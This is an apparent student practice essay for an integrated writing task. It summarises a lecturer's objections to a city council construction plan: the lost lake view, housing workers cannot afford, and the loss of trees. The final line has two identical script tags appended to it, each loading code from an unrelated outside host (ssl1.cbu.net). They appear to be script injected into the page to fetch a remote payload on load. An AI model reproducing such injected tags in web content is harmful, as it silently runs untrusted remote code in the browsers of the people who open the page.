Integrated. Construction

The lecturer reasons against the city council proposal for reconstruction. The construction claims to improve the area and attract people to the downtown, provide hundreds of accommodations, and create new job opportunities. However, the lecturer refutes all the mentioned claims via the following arguments.

First of all, the constructions will ruin the view of the lake, which belongs to everybody. On the other hand a park can serve all the visitors and the local. Thus, the lecturer believes that making a park between the lake and bay will be a more reasonable decision. This opposes the proposal that says the plan will make the place attractive and enjoyable for all people.

Secondly, although the housings offered by the plan will accommodate a significant number of dwellers, they are too expensive for lower-class people. Thus, the workers who are to be working at the downtown shops cannot afford them. This undermines the plan's claim for resolving the city's need for new residential.

Finally, the constructions will damage the natural habitat of the place by cutting a considerable number of trees. Therefore, it costs a lot to the environment while filling the pockets of the constructors. This rejects the claim that the development plan can economically be beneficial to the whole city.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>